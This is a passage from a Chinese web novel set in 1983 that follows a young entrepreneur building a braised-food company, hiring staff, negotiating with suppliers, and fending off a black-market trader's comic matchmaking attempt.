首先第一项就是筹备自家的卤味经销点。 眼下,他们虽是已经成功跟凤城市四家百货公司签订协议,设立专门的卤味柜台。但为了保证所有卤味产品对外统一的零售价格,当初签订协议的时候,他们就提出百货公司所有上架的卤味熟食必须由“珍珍”自己定价。 这对一直掌握着商品最终定价权的各大百货公司来说,是个十分霸道、不讲理的要求。 为这事,当初签协议的时候就没少扯皮。 但苏丽珍十分坚持这件事。如果允许百货商店对他们的卤味随意定价,将来他们自家的销售渠道必然也要受到对方的价格限制。而且不统一的销售价格,一方面容易引起经销商们恶意竞价;二来也会影响商品的档次定位。 好在“珍珍”这块招牌在凤城确实好用,加上t苏丽珍给的提点比例也很有诚意。 最终在第一百货吕经理的说和下,其他三家才勉强同意。 虽说合同是签成了,但苏丽珍看得出,那三家百货公司多多少少都心存不满,这未尝不是一个隐患。 所以苏丽珍才极力主张要发展自己的销售渠道。 现在除了他们手上原有的分店外,苏振东又另外盘下四家门店,所有店铺采取统一的装修和布置风格,并在8月22号当天和食品公司同步开业。 而且这五家门店也不只单卖公司生产的包装成品。 目前,为充分利用生产线,他们工厂的产品还是以肉、蛋类熟食及少量豆制品为主,其中还包括了一些方便拆分处理的头蹄下水。口味上则分为香卤、辣卤和烟熏三种风味。 而需要单独处理的素菜和肚肺、肥肠之类难以清洗的下水就被裁掉了。但是这些东西好吃、价格也便宜,一直是卤味店的畅销品。如果门店将这些相对实惠的部分都砍掉,一定会流失很多客人。 而且你不做,不代表别人不能做。别人做了,自然也就顺理成章把顾客吸引走了。 苏丽珍上辈子在米国就见到过,那些经常对商品促销打折的商超客流量总是最大的。 归根结底,能吸引顾客上门才是王道。 因此苏丽珍打算让这五家门店继续保留这部分单品。 不过考虑到配方安全,苏丽珍和苏振东商量后决定五家店当日现卤的下水和素菜全部在第一家分店完成,之后再由其他分店取回。 虽说麻烦了点,但配方是他们如今的立身之本,谨慎一些总不会错的。 第二项就是招人。 这也是眼下苏丽珍最发愁的事。 第155章 厂子里的工人和门店的售货员倒是好说。 上个月月底苏丽珍和苏振东从海市返回的时候,差不多跟那批真空包装机前后脚到达凤城。 机器上周刚到,苏振东就招了一批工人开始试生产。 食品厂岗位技术含量不高,主要是要求工人们干净、细心,所以大伙儿上手都很快,至多培训个两、三天就能上岗。 等正式投产前这一礼拜再招一部分,基本就没什么问题了。 今年(83年)国家工资大调整,人们的工资差不多都翻了一番。 国企和大集体新进的学徒工,工资已经从之前的十八块涨到了三十块。 苏丽珍这边工人的报酬方式是基本工资+绩效+奖金。这么一套方案实施下来,就算是工作量最轻松的配料组工人,出一个月满勤也能挣到八十块钱。 其他岗位只多不少。 这么高的工资放眼整个凤城市,都是“傲视群雄”。 短短几天时间里,别说正式工人,就是储备工人的资料都攒了一大摞。 同理,门店的售货人员也没怎么费劲。因为工资奖金给得到位,招聘启事刚贴出去半天,就已经有几十号人来报名了。 苏丽珍观察面试了两天,从中挑出了十二个人留用。 这十二个售货员,除了老店以外的四家新门店,都是每家两人。 老店这边,王树要调到工厂那边。苏丽珍就把原先的梅子提为店长,同时又给她配了四个新人。 之所以给她安排这么多人,一方面是因为眼下老店除了销售外,还要承担五家门店的鲜卤制作,任务本身就比其他门店重。 再者,挑几个有潜力的人就近放在老店,也方便苏振东和苏卫华他们随时观察,如果觉得人还不错,可以直接向上提拔。 没办法,这就是苏丽珍发愁的事。 有能力又人品可靠的管理人员太少,完全不够用。 尽管苏丽珍之前做计划的时候就意识到人才的重要性,可好的人才又不是大萝卜,不可能随时都给你碰上。 要说这世上聪明人是有的,道德底线高的好人也不少,可又聪明又善良的人就不见得有那么多了。加上这股子聪明、善良又适不适合放到商场上,或者在公司里担任管理人员,这也是未可知。 总结下来,就是难上加难。 所以苏丽珍现在是真的头疼。哪怕随着新公司开业,各大电台、报刊一边铺天盖地地宣传,一边跟着刊登他们招才纳贤的广告,但结果却令她并不满意。 不过费了这番功夫,也不是全然没有一点收获,好歹她招到了一名很有潜力的销售人员。 这人叫冷刚,是恢复高考后的第一届大专毕业生。 冷刚在校期间学的专业是化工,原本毕业后被分配到凤城市第一塑料制品厂当工程师,也算是前途无量。 只可惜冷刚运气不大好,进厂不久就因为跟上级领导理念不合而遭受排挤。 加上他看不惯厂子里从上到下,大部分人每天照本宣科、不思进取混日子的模样,没多久就与顶头上司大吵了一架,之后就辞职不干了。 辞职后,冷刚顶着家人的压力,自己筹了一笔资金倒腾了一批化学材料,挣到了人生的第一桶金。 哪成想,就在他摩拳擦掌准备大干一场的时候,却在第二次进货途中不慎遭了窃,先前赚到的钱连本带利通通赔了进去。 冷刚不死心,回家后把亲戚朋友借了个遍,又筹集了一笔钱要再试一次。 这次买卖依然很顺利,只是眼瞅着那边买家都找好了,随时能一手交钱、一手交货的时候,冷刚这边用来放置材料的仓库突然意外失火,不但烧毁了不少东西,还伤了人。 这下里外里的钱都赔上不算,还把冷刚父母家人的积蓄也给搭进去了。 连着出了两次这样的事,冷刚再强的心气儿也磨得差不多了。再加上对家人的愧疚,他终于死了心,不想再折腾下去。 冷刚之后就乖乖听了家人的话,准备重新找一个班上,先挣点钱把债还上。只是如今的工作岗位那真是“一个箩卜一个坑”,也不是上下嘴皮子一碰就能找到工作的。 正巧,他这时候在报纸上看到凤城有名的“珍珍卤味”成立了食品公司,眼下正要招人。他想着反正这会儿也没什么事做,干脆就过来试一试。 他本来应聘的是行政岗,苏丽珍那天是亲自面试的人。 冷刚今年才23,还很年轻。长得浓眉大眼、身材高大,是典型的时下人喜欢的正派长相。 那天面试时,苏丽珍见他谈吐大方,言之有物。对于自己第一份工作离职的原因和两次失败的创业经历没有选择避而不谈,而是直接反省了自己在这些工作经历中的错误,态度十分真诚。 苏丽珍和后来的苏振东对他的印象都很好。 两人商量后,都觉得让他做些四平八稳的行政工作未免有点可惜。 苏丽珍便建议他尝试一下公司的销售岗位。 计划经济是卖方市场,工厂的负责人们不用担心产品的销路问题,只要确保能按时、按量地完成生产计划就好。 所以相应的,厂子里的业务员们也几乎不用自己出门跑业务。对于他们来说,仓库里的货物从来只有供不应求。大多数时候都是别人追着他们屁股后面哭着、喊着要求出单,压根不需要他们主动出去找买家。 但苏丽珍知道,这种情况随着改开后会彻底扭转。 便是近两年,诸如苏振东之前所在的那家酱厂那样规模小、生产设备陈旧的小工厂,很多已经出现了货物滞销、难以为继的情况。不思变通的后果很可能是末路的结局。 可多年安逸的集体大锅饭生活已经麻痹了太多人,便是敢想、敢干,在时下人眼中十足“叛逆”的冷刚也一时转不过来这个弯。 听说干销售要自己出去联系买家,冷刚当时脸上的表情有一瞬间的错愕,之后也几度欲言又止。 苏丽珍让他有话直管说。 他才斟酌着问了句:“苏总、东副总,我看咱们公司这规模不小,在凤城知名度也挺高,还需要自己出去拉业务吗?” 苏丽珍一听就知道他怎么想的,无非是觉得只有个体户或者一些濒临倒闭、寻求自救的小厂子才会自己跑出去给人家上门兜售产品。 一些上了规模又有潜力的单位犯不着这么“跌份儿”。 针对这样的想法,光靠一、两个人嘴上劝导是没用的。现实才是最好的老师,金钱则是最大的动力。 所以苏丽珍也不跟他废话,直接拿出一份早期制定好的销售人员奖金激励制度递给对方。 冷刚看完那份与销售额挂钩的提成方案后,这次什么也没问,只稍微考虑了下就t答应了苏丽珍他们的建议,愿意改聘销售岗位。 冷刚之后,苏丽珍又陆续招到了三男二女,一共六名销售人员。 所有销售人员试用期一个月,试用期内必须完成一笔百元以上的订单才能转正。试用期内差旅费不予报销,但每个人每天有一块钱的出差补助。 试用期基本工资四十块,转正后为六十块。提成比率试用期和转正后都一样,千元以下的订单按销售额的2%计算;万元以下为2.5%;一万元以上为3%。 一旦连续三个月没有订单,将重新转为试用期。如果在此期间依然没有任何业绩,那只能面临公司清退处理。 她开公司不是做慈善,该给的,她一分不会少,而且赶上眼下情况特殊,她也会适当放宽要求。但员工本人该履行的责任却绝对不能有半点马虎,更不允许滥竽充数。 现在公司的销售团队清一色都是年轻人,最大的一个才二十八。 苏丽珍倒不是有意如此,而是尽管有高昂的报酬标准在前面吊着,但是大多数人还是没办法适应这种四处奔波拉业绩的工作模式。 也只有一些思想相对开放、同时适应能力惊人的年轻人愿意尝试。 而除了这部分销售人员,像门店和百货公司这样的销售渠道,日常交给王树负责跟进和维护。 此外,她又陆续招了两名行政专员,一名老会计和两名出纳员。 其中老会计是安厂长推荐的。 还有保安和仓库保管人员,也是她请卢家帮忙介绍的几个退伍军人。 至于采购,因为涉及配方用料,在没有找到可靠的人选前,只能先由苏振东亲自负责。 最后车间管理这块,苏丽珍则又一次挖了自家饭店的“墙角”,把齐志飞调了过去。 齐志飞其实是个很有内秀的人,只是因为那条伤腿的缘故,不愿出头露面。 这两年火锅店的生意越发忙碌,苏卫华和李翠英有时候忙不过来,齐志飞就会帮忙支应一下。 他性子稳重,虽然话不多,但做事很有条理。不管是前厅还是后厨,叫他帮忙看顾的时候,他总能把各处安排得井井有条,从没出错过。 苏丽珍和苏振东那时就觉得他是个不错的人才。 所以建了食品厂后,两人就把人直接挖了过来。 齐志飞现在主要是熟悉流程,然后努力磨合。像厂子先后招的这两批工人就是苏振东有意交给他,经由他一手带出来的。等以后他能完全适应了,那生产这一块就会全部交给他。 这样苏振东也能空出更多精力去处理别的事情。毕竟苏丽珍马上要开学了,虽说在首都也不耽误用电话遥控指挥。但到底人不在,不说那些突发状况,就每天公司里日常的大小事务,她都是有心无力。 所以这种情况下,如果公司的组织架构再不够完善,各部门缺胳膊少腿的,那影响就更大了。 可惜好的人才可遇不可求,有些不足注定没法一下子补全,苏丽珍也只能尽力而为。 虽说人事招聘方面有些不尽如人意,但各方面整体还是欣欣向荣。 距离22号开业还剩两天的时候,苏丽珍和苏振东又特地去拜访了几个供货方。 目前供给他们家各种禽蛋产品的主要是省内最大的禽类养殖场——凤城养殖场。 这几年人民生活水平有所提升,相应的,对各种肉食品的需求也有所增加,仅靠乡下农户们自家养的那点鸡鸭数量远远达不到城市里的缺口。 所以凤城养殖场的生意就格外火爆,不光凤城市,周边不少地方的单位、集体都来进货。 因为上门的客户够多,凤城养殖场一度并不接待个人或者个体经营者。 所以别看苏丽珍的工厂规模不小,但在对方眼里,压根不值一提。 不过,这也算是在苏丽珍意料之中。 她对此也早有准备。 这几年凤城养殖场形势大好,业绩火爆,每日里忙碌不休,一部分场房和场区内的路面都出现了磨损情况。 苏丽珍派人仔细观察后,又拐弯抹角探听到养殖场过完年后一直想要扩建一下自己的种蛋孵化中心。 为了不耽误场内正常运营,养殖场的领导们是打算请一个建筑队把孵化中心连同场内其他磨损的地方统一修整,该建的建,该修的修,一遭补齐。 可惜跟之前的福利院一样,有点来历的建筑队现在大多没时间,打发来的那几人只知道埋头苦干,什么设计、预算的一问三不知,养殖场的领导们对此也很不满意。 这个时候,苏丽珍就让自家的筑梦公司上场了。 起初,她自己没出面,而是拜托丁大勇和薛老爷子一起主动找上养殖场的领导们,将公司设计的几套修建方案和预算一拿,一下就引起了对方几人的注意力。 养殖场的领导们当场拍板,要让筑梦公司完成场里的修建工程。 苏丽珍通过这次机会成功和凤城养殖场搭上了线,几番经营,最终说动了养殖场领导的同意,答应今后会向食品厂供货。 东北极其讲究人情世故,虽说苏丽珍已经拿下了与养殖场的供货合同,但是她的“珍珍”食品公司无论是体量、还是经营性质都远远没法和对方养殖场相比,所以有些人情往来就避免不了。 她和苏振东特地挑了个临近中午不太忙碌的时间,带着精心准备的礼物先拜访了养殖场的几位领导。 中间,赶上丁大勇有空,苏丽珍就把他喊过来作陪,请对方吃了一顿丰盛的午餐。 这顿饭过后,几位养殖场的领导对苏丽珍和苏振东的态度越发熟络起来,言谈间也亲近了许多。 总算让苏丽珍的心思没有白费。 第二个供货商还是老熟人刘五爷。 现在食品厂的猪肉类原材料主要依靠刘五爷这边供应。 第156章 刘五爷经营的“黑市”专攻肉蛋、果蔬、水产等各种副食品。他的货品比正规副食品商店种类还要齐全,而且货源充足。 只要给够钱,他总有法子帮你弄到足够的货物数量。 加上刘五爷这个人虽说是市井混混出身,但做生意却一向讲究原则,从不搞坑蒙拐骗那一套。无论什么时候,都能做到按时按量地完成交易。 这也是苏丽珍这么长时间以来一直跟他保持合作的原因。 她其实很看好对方。 这两年,国家大力发展经济的决心有目共睹。尤其是进入83年以来,大大小小的报纸上刊登了很多个体户、私营业主自主创业,发家致富的新闻报道。 特别是南方有个专卖瓜子的小贩,短短几年时间凭借着小小的瓜子就挣下了上百万元的身家,雇了一百号人为他干活。 这些新闻报道一度轰动全国,让许多不甘于平凡的人心头一片火热。 刘五爷就是典型的例子。 不知是不是受了那些敢于“吃螃蟹”的人影响,近一年的时间,刘五爷的“黑市”从之前有意遮掩的半地下状态也逐渐转向正式公开。 虽说在此期间,他也曾因为有人举报而前后两次被抓,但到底是经营多年,背后有些过硬的关系,所以每次都很快就被放了出来。 有了这两次经历,刘五爷心中底气更足,如今摊子是越支越大,名头自然也越发响亮。 听说现在有些正规大厂一时原材料不凑手的时候,也会来找刘五爷应急。 刘五爷眼下可谓意气风发,虽仍顶着“黑市”二道贩子的名头,但实际已经是正经供货商的角色,任谁也不能小觑。 他们去的时候,刘五爷正好在家。看苏丽珍和苏振东亲自来拜访,对方显得十分高兴。 刘五爷待苏丽珍一向礼遇,虽说每次一看见苏丽珍就一口一个“大侄女”的叫着,但真正相处的时候,他倒从不自恃年长,对苏丽珍的态度一直都是亲切有礼,有点平辈论交的意思。 他总不吝于表达对苏丽珍的欣赏。 尤其两年前苏丽珍收拾朱广才,顺手把当时敢跟他叫板的郭赖子也给揪出来,让这只“臭虫”顺理成章去了该去的地方。打这以后,他对苏丽珍的欣赏和喜爱就更是到了顶峰。 当初听说要给苏丽珍的食品厂供货,不等苏丽珍他们提,他自己就主动给了个特别实惠的价格,可以说是诚意十足。 苏丽珍自然也承他的情,双方关系越发保持得好。 刘五爷招呼两人坐下,先是说了会儿话,后来见时间不早,也不等苏丽珍他们开口,就自己喊了人去外头饭店订了一桌子菜,非t要她和苏振东留下吃饭不可。 两人盛情难却,索性就没推辞。 席间,刘五爷又把苏丽珍好一顿夸,之后才拉着苏丽珍一脸虚心求教道:“大侄女,你是聪明性子,又是读书人,啥事都安排得面面俱到的。我老刘这辈子最佩服你们这种人。” “你五伯我啊,是个大老粗,虽说现在别人敬着我,喊我一声‘五爷’,可咱自己知道自己咋回事。我们这种人说来说去,那干得再大,在外人眼里还是个街溜子,不算正道。” “大侄女,今天我也不跟你见外。你五伯我啊,看你们这个厂子、公司啥的是真羡慕。你看你能不能给我也支个啥招,叫五伯我也尝尝这干正经大事的滋味,你看行不?” 苏丽珍听完倒是没有拒绝,只是反问对方道:“那五伯,您先跟我说说,您现在心里有什么明确目标吗?就是您将来想办个什么公司,具体要干什么?” 刘五爷挠了挠秃秃的脑门,有些不好意思道:“大侄女,不怕你笑话,我就是没想好自己合适干啥,所以才想请你给我支招啊!” 苏丽珍略一思索,便道:“五伯,我倒是觉得您不必舍近求远,您眼下手里这一摊不是正合适吗?” 刘五爷闻言一怔:“你是说我手里这些买卖?可我一个倒腾东西的,头一天货拉来,第二天就有人买走了。我不过一个过手的,哪里还值当为这开个公司啊?” 苏丽珍就耐心给他解释:“怎么不值当?您有渠道能把各种商品集中在自己手里,且货源稳定充足,能长久供应买方需求。有这样厉害的优势,您完全可以开一家批发公司。” 刘五爷目光微动:“批发公司?” “对。”苏丽珍点头,“小来小去的倒买、倒卖,自然不起眼,可一旦形成规模,它就能发展成一种行业,叫批发业。” “您开一家属于自己的批发公司,建立批发市场,以后所有的买卖都依托这家公司完成,一切实施正规化管理。等做大了以后,您还可以在其他地方建第二家、第三家市场,实现连锁经营。或者基于此开展更多业务,比如零售、运输等等。” 一番话直接把刘五爷说得热血沸腾:“要这么说,我还真能开一家批发公司!” 苏丽珍笑道:“自然能开,而且还就得您来。要做这种批发行业,掌握买卖双方的渠道,眼下再没有比您更有优势的了。” 刘五爷一听这话,嘴角的笑意怎么压也压不下去,使劲拍着大腿道:“还得是我大侄女,这脑瓜子转的就是快,几句话就把我点明白了!” 他还起身亲自给苏丽珍倒了一杯饮料:“大侄女,你放心,不管这批发公司我能不能开成,五伯都领你的情。” “咱都在酒里了!我先干,大侄女你随意啊!”说完,就自己一口气连干了三杯酒。 苏丽珍见拦不住,便笑着谦让了几句,之后也没再主动出什么主意,双方很快就转到了别的话题上。 其实,以刘五爷的能力,开批发公司这事他自己也早晚能想到。只是多年的惯性思维短时间不好打破,所以才一时没能捅破这层“窗户纸”。 等他自己明确了目标后,就凭他的身家地位,自然不缺出谋献策的人。 人家客气两句请她出招,她感念对方多次照拂,所以认真给了个提议。事情到这个程度是刚刚好,她要是说再多或者不自量力地要大包大揽,那才是真地拿大,不懂分寸了。 只是接下来,不知道是不是刘五爷解了心病,心情大好,话匣子打开了就收不住,甚至一度拉着苏丽珍打听起她今后的打算。 旁边的苏振东起初还以为他是想从苏丽珍这里得到更多启发,好为今后自家的公司做准备,没想到却越听、越不对劲。 终于在刘五爷说到“姑娘找对象,年龄不是问题,最重要是对你好”的时候,到底没忍住,打断了对方。 “刘老哥,我们珍珍今年才十九,再说她刚考上大学,暂时不需要考虑对象的事。” 刘五爷却一挥手,不在意道:“哎,东老弟,你这话不对。姑娘嫁人是大事,当然是越早准备越好。咱们先仔细挑着,也不耽误上大学。等挑好了,回头姑娘大学毕业的时候,两孩子把酒席一办,这不正好双喜临门吗?” 苏振东无语。这什么人啊,这么会儿工夫都扯到办酒席了,再说一会儿说不定都要催生了? 这几年苏振东跟苏丽珍一家朝夕相处,眼见苏卫华和李翠英把苏厚德看作亲父,对芽芽也同样视如己出。两家苏姓虽没有实质的血缘关系,但彼此心里却是再亲近不过的一家人,所以苏振东自然也把苏丽珍当作自己的女儿。 所以这会儿眼见着刘五爷就给苏丽珍安排上了,苏丽珍自己还没说什么,他已经先难受上了。 当下也不管刘五爷是不是玩笑话,总之他是当真了,立马咬死只说苏丽珍要上学,搞不搞对象的以后再说。 刘五爷被他这么一搅,也来了脾气:“我说大兄弟,你咋这么犟啊!闺女早晚不得找人家啊?咱给她找个好的,知根知底的,到时候两家人都拿她当亲闺女看,这是多好的事,你有啥不乐意的?” 而这话落在苏振东耳朵里,听到那句“知根知底”是时候,他不知想到什么,心里一动,下意识看向苏丽珍,一时也忘了反驳对方的话。 刘五爷见他不吱声,越发说得起劲:“就说我们家吧,我刘老五这家底儿你们也都有数。我不差钱!珍珍将来要是嫁到我们家,我保管我们家从上到下都对她好,就算是天天拿板儿供着她都行!” 苏丽珍:“……” 苏振东:“……” 苏振东直接气笑了,合着是在这儿等着呢! 他板着脸道:“刘老哥,我看你是喝高了。我要是没记错的话,你家大儿子不是去年才结的婚吗?” 刘五爷也不乐意了:“我咋喝高了,这点酒算啥!还有你可别冤枉我,我啥时候说让珍珍跟我家大儿子好了!” 苏振东被他气得够呛:“刚刚不是你说的要让珍珍嫁到你们家?” 谁知刘五爷眼睛一瞪,也说道:“我是说让珍珍嫁到我们家,但我没说让她跟我家老大啊!我说的是我家小二!” 这下不光苏振东,连苏丽珍也憋不住了:“可是五伯,你家胜利弟弟今年才十五吧?” 刘五爷点头,然后一副再正常不过的语气说道:“对啊!他十五,你十九,老话说‘女大四,福禄至’。你俩要是好了,等你四年大学毕业,他也十九了,那时候正好办酒,啥啥不耽误,多好啊!” 苏丽珍:“……” 苏振东这下气坏了,直接骂他:“你这是乱点鸳鸯谱!” 刘五爷也来劲了,俩人你一句、我一句,嗓门越来越大,差点吵起来! 后来外头的人都听见动静了,还以为屋里双方谈事谈崩了,正不知道要不要进屋劝劝的时候,刚好刘五爷的媳妇和大儿子办事回来了。 等娘儿俩弄清了前因后果,刘五爷媳妇照着他那秃脑门子就是一巴掌,接着就给苏丽珍和苏振东好一顿赔礼。 临走又大包小包给他们拿了不少土产,看得出是真的担心他们会因此生出芥蒂。 等送走了苏丽珍叔侄,屋里只剩下刘家人的时候,刘五爷媳妇不禁指着刘五爷骂道:“你是不是舒坦日子过多了,非得冒虎气,整点幺蛾子出来?” “人家姑娘跟咱们家胜利差着好几岁呢,你咋能把他俩往一块凑?” 刘五爷不服气:“什么好几岁,不就是四岁嘛!那咱俩也差了三岁呢,你看咱家现在这日子过得,谁看了不羡慕?” 刘五爷媳妇没好气道:“你能不能动动脑子?这和当初咱俩的情况一样吗?你也不看看咱胜利今年才多大,十五岁,上初中,那就是个小毛孩!” “你再看看人家闺女,上大学、办公司,长得还如花似玉的!人家啥样好小伙儿碰不着,非得巴巴地等你们家一个毛孩子?” “这些都不算,你个挨砍的,你还直接当着人家姑娘的面说,那不管成不成,不都让人家姑娘为难吗?” “喝两口猫尿,嘴上就没个把门的,你还有脸跟人家叔叔吵吵!” “你去去,把桌上剩那点酒都打扫了,直接醉过去得了!梦里啥都有,别说给你儿子找,你自己再找一个都行!” 刘五爷媳妇一顿排揎t,直接把刘五爷说没话了。 连刘家大儿子刘光荣都老老实实缩在一旁,眼观鼻、鼻观心,一声不敢吭,生怕这把“火”烧到自己身上。 吭哧了老半天,刘五爷到底心存侥幸,还是小声辩解道:“我也没别的意思,我就是稀罕这丫头……你不知道,这闺女今天饭桌上还给咱出了个好主意。” 说着,就把苏丽珍给他分析的,关于开批发公司的那些话说给了媳妇和儿子听。 刘光荣听完直接拍着大腿笑道:“我看这主意好!就说外头那些个人凭啥瞧不起咱?想当初咱也是担着风险四处进货,再顶风冒雪一趟趟拉回来,任他们挑拣的,咱挣得哪一分钱不是辛苦钱?” “让他们当面一套、背后一套,看不起咱们!等咱把这批发公司开起来,咱也让他们一个个都按咱的规矩来,把这架子给他端得高高的。” 大儿子这番话简直说到了两口子心坎里。 刘五爷见状,顿时恢复了底气:“我就说吧!我也是真的相中人家闺女聪明能干,所以才想着把人娶回家。” 话题又说回来了。原本注意力被吸引走,正琢磨开批发公司的刘五爷媳妇当即冷笑一声:“咋地?所以你就准备恩将仇报,让人家样样出挑、大好年华的姑娘就老老实实等你家好大儿长大成人呗?” 刘五爷一下又没电了。 刘五爷媳妇懒得搭理他,转头对大儿子道:“回头问问你媳妇哪天有空,让她陪我走一趟老苏家,我们娘儿俩去给人赔个礼去。” 别说人家闺女刚给他们出了个好主意,就是人老苏家一家的人品也是真的好。 当初老刘两次下狱,外边知情的恨不得绕着他们家院墙走。可老苏家的人每次都是一听见风声就早早过来了,也主动提出要帮忙。 她看得出人家那是真心的。 就冲这一点,就远比那些明明心里看不上他们、却又死命巴结他们的人强一百倍。 这样好的人家,真伤了交情,就是自家人的损失。 刘光荣也明白这个道理,立马痛快地答应了下来。 刘五爷在旁边期期艾艾:“那啥,要不我也去一趟?” 刘五爷媳妇一脸嫌弃:“你去干啥?接着跟人家吵吵去啊?痛快儿歇着去得了,可让我消停点吧!” 刘光荣抿嘴偷乐。 刘五爷这回是真“吃冰棍儿,拉冰棍儿——没个话(化)了”。 另一头,苏丽珍和苏振东从刘五爷家出来,上了车准备下一站去张家屯。 车已经开出去老远了,苏振东的气仍然没消。 “珍珍,以后再来这边就我来,或者派别人。你自己少来,尽量别跟那个不着调的接触。” 苏丽珍失笑:“东叔,您别往心里去。五伯就是这样的性子,他不是那种爱动小心思的人。” 两家虽说是合作关系,但这么多年接触下来,也都看出对方是值得信赖的人,所以彼此间都是默契地用心结交,那情分自然是有的。 只不过别说刘五爷的小儿子年纪还小,她跟对方不合适。就算两人年龄相当,她也不可能答应。 不光是刘家,今后谁家都是如此。 她这辈子是不打算结婚的。 所以如果刘五爷真存了这样的心思,于她来说,反而是越早挑明拒绝了,越好,也省得影响两家的交情。 第157章 苏振东听了她的话,想到两家目前的合作关系,虽然心里还是不太高兴,但也没再说什么。 这两年多的忙碌生活对他的改变不小,他也不再是过去那个想一出是一出的糊涂人,自然知晓事情轻重。 不过,他想到什么,还是试探地对苏丽珍道:“珍珍啊,虽说我对刘五爷异想天开不太满意,但是他刚刚有句话说的也不错。” “女孩子找对象知根知底最好,如果真遇到合适的,有些条件可以适当放松,比如说这个年龄……其实女孩子找个年龄大一点的对象也不错。” “就说原先我们那个老酱厂,里面就有一对夫妻,男的比女的大了八岁呢,但真是对她特别好。自己连双袜子都舍不得买,却每个季节都给他老婆买新衣服,单位里的女同志都特别羡慕他老婆。” 他一边悄悄留意苏丽珍的脸色,一边斟酌道:“所以我觉得女孩子找个岁数大的挺好,十岁以里都不是问题……珍珍,你觉得呢?” 苏丽珍此刻正分神想着别的事,也没注意身边的人正暗中观察自己的神情,顺口就回了一句:“是啊,只要两个人感情好,十岁、八岁的年龄差也不算什么。” 上辈子在米国时,她看到过很多年龄相差大的情侣,所以真不觉得年龄是什么大问题。 谁知她不过信口一句回答,落在苏振东耳朵里却是精神一震。 在他心里,珍珍这个女儿一直是最好的。 如果珍珍要嫁人,在他心里,也只有那个人能配得上。 况且那人对珍珍的心思,他和他爸还有姑父其实都看出来了。要是珍珍也愿意,那这真是天作之合。 就是目前两家的条件差了一点。 不过没关系,他会努力的,努力辅佐珍珍把她的事业越做越大,将来足以与任何人比肩。 苏振东这边正暗自下定决心,而另一边的苏丽珍其实心思全都在身/下的汽车上。 这车是一台既能拉人、也能运货的解放车,是今年年初的时候她托人买下的部队淘汰车。 两台车一共花了八千块,一台四千,相当于市面同型号新车的四分之一。 这车虽是淘汰品,但是保养得当的话,最少还能对付个几年。 只是两台对于她的公司来说终究有点少。 不是她不想多买,更不是不想买新车,而是现在不允许个人购买机动车辆,个人企业也没有资格申请汽车购买指标,所以苏丽珍才不得不退而求其次。 而有了车子,除了解决实际的运输问题,像振东叔平时代表公司出门应酬时,也不用老是骑着自行车,效率低不说,还容易被人轻视。 世人喜欢“先敬罗衣后敬人”,更何况是在更加功利的生意场上。 所以车一到手,她就马上找人教振东叔学开车。 如今振东叔的车开得特别好,出来进去确实方便不少。 便是苏丽珍自己也有点动心,想着等22号公司正式开业以后,如果得闲,她也试着学学。 而且不只她,她还打算让大勇哥也来一起学。 是的,她一直想给建筑公司那边也配上车子。 虽说大勇哥和薛爷爷一再表示平时建筑材料都是甲方负责,他们压根用不上车子,但她既然想到要给振东叔撑场面,自然也不愿厚此薄彼。 毕竟这两年“筑梦”的规模越来越大,也算是创出了名气。大勇哥和薛爷爷天天往工地上跑,时常弄得灰头土脸的,工作如此,没办法讲究。但作为一家公司的领导层,该有的牌面还是得有。 所以问题又绕回来了,怎样才能弄到车呢? 不拘几成新,淘汰的旧车也没关系,她可以找人重新维修涂漆,只要还能开走就行。 可就算是她的要求降到这么低,在托人问遍了凤城市大大小小养车的单位后,也还是连濒临报废的淘汰品都买不到。 大抵是现在跟她一样想法的人多了,所以一旦哪家单位有预备淘汰的车子,基本还不等传出风来就被内部消化了。 她不禁想起上一世偷/渡米国,中途在香江中转的时候,曾无意中听到一个蛇头跟人炫耀自己的好兄弟如何厉害。 按照那人的说法,他兄弟是道上专门干走/私的,当时一台进口桑塔纳在内地正规市场挂牌售价一度飚升至20.8万。同品牌的水货最低12万出售,品相好的甚至能卖到15、6万以上。那钱挣得,简直跟玩似的。 苏丽珍之所以记得这么清楚,是因为那年是88年,在凤城人均月工资一百出头的年代,一辆车无论是卖12万还是16万都是件极其不可思议的事,更不要说那天价的20.8万。 可她当时听那蛇头的意思,即便是如此恐怖的天价,内地当时的汽车市场仍然是供不应求的状态。 所以就目前这个阶段,买车这事是真不好办。 不过既然88年的时候已经有走私车大行其道,那就说明后期政策肯定是开放了,起码是允许私人购车的。 只可恨她前世恋爱脑上头,啥也不顾,从来不t关注这些事,所以也不晓得具体会是哪一年解禁。 真是想起来就恨不得给自己两巴掌! “珍珍,咋啦?头不舒服吗?” 开车的苏振东留意到她不时用手掌拍打额头,忍不住关切道。 该不会是叫那刘五爷气着了吧? 都怪这个不着调的!刚刚就这么走了真是便宜他,就该好好说他一通才是! 苏丽珍回过神,忙摇头道:“东叔,我没事。我就是在想车的事。” 苏振东闻言松了口气:“我还以为你让刘老五气着了,不是就好。” “车的事,你先别急,等忙完这一阵,叔亲自教你。你这么聪明,肯定用不了多久就学会了。” 苏丽珍见他误会自己是在担心学车的事,也没解释。 东叔眼下事情够多了,买车的事就让她自己慢慢想办法吧, 叔侄俩说着话,很快就到了张家屯。 从张家屯村口小路往东,大约三百米的位置,就是他们此行的目的地——珍珍食品公司张家屯禽类养殖基地。 如果说发展自家的销售渠道是为了把握自己的经济命脉,那苏丽珍想有自己的原材料基地就是为了不让人卡脖子。 所以尽管上半年通过一番筹谋,最终成功拿下凤城禽类养殖场的供货合同,但是苏丽珍从来没打算把鸡蛋放在同一个篮子里。 加上当初寻找供货商的过程也不是那么顺利的。就比如,早期苏丽珍为了能够得到稳定的猪肉原材料供应,曾把目光瞄向凤城体量最大的养猪场。结果她和苏振东接二连三上门,却连那边一个稍微有点名目的管事都见不着,境遇比当初在禽类养殖场那边糟糕得多。 无奈之下,他们只好请求刘五爷尽量多的备货。刘五爷也是当真有能力,在自己处境尚且不稳的情况,这么大的订单也硬生生拿下了。 也是因为这诸多原因,所以苏丽珍才更坚定地想发展自己的原材料供应地。 这家养殖基地是由苏丽珍投资,张家屯全体村民共同持股的合办企业。 苏丽珍作为第一大股东,拥有51%的股权。 张家屯村集体以养殖基地在本村的土地使用权入股,拥有10%的股份,是为第二大股东。 然后是张表舅个人出资占股8%。 最后,张家屯56户人家集体出资,共同持有剩余31%的股份。其中,为避免有人恶意“吃绝户”,村民个人持股者允许退股,但不允许转让。 苏丽珍之所以想要全体村民入股,一方面是因为张家屯及其周边村落整体地广人稀,位置还是有些偏僻,因此难免会引来游手好闲之人打主意。况且就算是屯中人,时间长了,也说不好会起歪心思。 小偷小摸不算什么,就怕红眼病看不得别人好,往河里井里随便投几包耗子药,那损失就大了去了。 